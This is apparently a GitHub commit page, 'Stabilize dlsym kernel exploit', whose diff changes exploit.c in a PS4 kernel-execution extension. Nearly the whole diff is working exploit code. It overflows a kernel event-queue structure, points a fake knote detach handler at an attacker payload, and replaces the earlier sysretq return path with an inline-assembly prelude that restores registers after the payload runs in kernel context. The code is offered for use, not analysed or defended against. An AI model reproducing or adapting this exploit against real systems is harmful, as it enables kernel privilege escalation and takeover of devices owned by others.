Skip to content

Commit 2f71404

Browse files
committed
Stabilize dlsym kernel exploit
1 parent 4df9d00 commit 2f71404

File tree

1 file changed

+28
-39
lines changed
  • extension/kernel_execute/dynlib_prepare_dlclose/source

1 file changed

+28
-39
lines changed

extension/kernel_execute/dynlib_prepare_dlclose/source/exploit.c

Lines changed: 28 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ typedef struct Ps4ExploitArgument
4545
}
4646
Ps4ExploitArgument;
4747

48-
//#define DEBUG 1
48+
// #define DEBUG 1
4949
#ifdef DEBUG
5050
#define ps4ExploitDebug(...) \
5151
do \
@@ -108,12 +108,6 @@ int ps4ExploitFree(SceKernelEqueue queue)
108108
return sceKernelDeleteEqueue(queue);
109109
}
110110

111-
void ps4ExploitReturn(struct Ps4ExploitArgument *arg)
112-
{
113-
siglongjmp(arg->sigjmpbuf, 1);
114-
return;
115-
}
116-
117111
void ps4ExploitPayload(struct knote *kn)
118112
{
119113
Ps4ExploitArgument *a = (Ps4ExploitArgument *)kn->kn_kq;
@@ -129,22 +123,28 @@ void ps4ExploitPayload(struct knote *kn)
129123
if(a->ret[1] != NULL)
130124
ps4KernelThreadGetSecondaryReturn(td, a->ret[1]);
131125
}
132-
133-
// Xfast_syscall
134-
// movq 0xb0(%%rsp), %%rsp;
135-
__asm__ volatile(" \
136-
movq %%gs:0x2a0, %%rsp; \
137-
subq $0xc0, %%rsp; \
138-
movq 0x40(%%rsp), %%rbp; \
139-
movq 0xa8(%%rsp), %%r11; \
140-
movq %0, %%rcx; \
141-
movq %1, %%rdi; \
142-
movq %%gs:0x2a8, %%rsp; \
143-
swapgs; \
144-
sysretq; \
145-
" : : "r"(ps4ExploitReturn), "r"(a));
146126
}
147127

128+
void ps4ExploitPayloadPrelude(struct knote *);
129+
130+
__asm__(" \
131+
.pushsection .text \n \
132+
.global ps4ExploitPayloadPrelude \n \
133+
.type ps4ExploitPayloadPrelude, @function \n \
134+
ps4ExploitPayloadPrelude: \n\
135+
call ps4ExploitPayload \n \
136+
addq $0x30, %rsp \n \
137+
popq %rbx \n \
138+
popq %r12 \n \
139+
popq %r13 \n \
140+
popq %r14 \n \
141+
popq %r15 \n \
142+
popq %rbp \n \
143+
retq \n \
144+
.size ps4ExploitPayloadPrelude, .-ps4ExploitPayloadPrelude \n \
145+
.popsection \n \
146+
");
147+
148148
int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1, Ps4ExploitStatus *status)
149149
{
150150
struct Ps4ExploitArgument arg;
@@ -260,7 +260,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
260260
kl = (struct klist *)(map + PS4_EXPLOIT_CHUNK_SIZE);
261261
kn.kn_fop = &fo;
262262
kn.kn_kq = (struct kqueue *)&arg;
263-
fo.f_detach = ps4ExploitPayload;
263+
fo.f_detach = ps4ExploitPayloadPrelude;
264264
kl[fd].slh_first = &kn;
265265

266266
ps4ExploitDebug("Calling syscall, overflowing\n");
@@ -287,23 +287,12 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
287287

288288
ps4ExploitDebug("Preparing overflow return\n");
289289
// create return buffer, install syscall
290-
if(sigsetjmp(a->sigjmpbuf, 1) == 0)
291-
{
292-
ps4ExploitDebug("Freeing overflow, triggering playload\n");
293-
// free overflow, trigger playload
294-
t = ps4ExploitFree(overflow);
295-
overflow = 0;
296-
if(t != 0)
297-
{
298-
a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_FREE_ERROR;
299-
goto e11;
300-
}
290+
ps4ExploitDebug("Freeing overflow, triggering playload\n");
291+
// free overflow, trigger playload
292+
ps4ExploitFree(overflow);
293+
overflow = 0;
301294

302-
a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_TRIGGER_ERROR;
303-
goto e12;
304-
}
305-
else
306-
ps4ExploitDebug("Returned from triggered playload\n");
295+
ps4ExploitDebug("Returned from triggered playload\n");
307296

308297
ps4ExploitDebug("Unmapping map %p %zu\n", map, mapSize);
309298
// free map
@@ -317,7 +306,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
317306
goto ret;
318307

319308
// FIXME: all good?
320-
e13: e12: e11: e10: e9: e8:
309+
e13: e10: e9: e8:
321310
munmap(map, mapSize + pageSize);
322311
e7: e6: e5:
323312
ps4ExploitFree(overflow);

0 commit comments

Comments
 (0)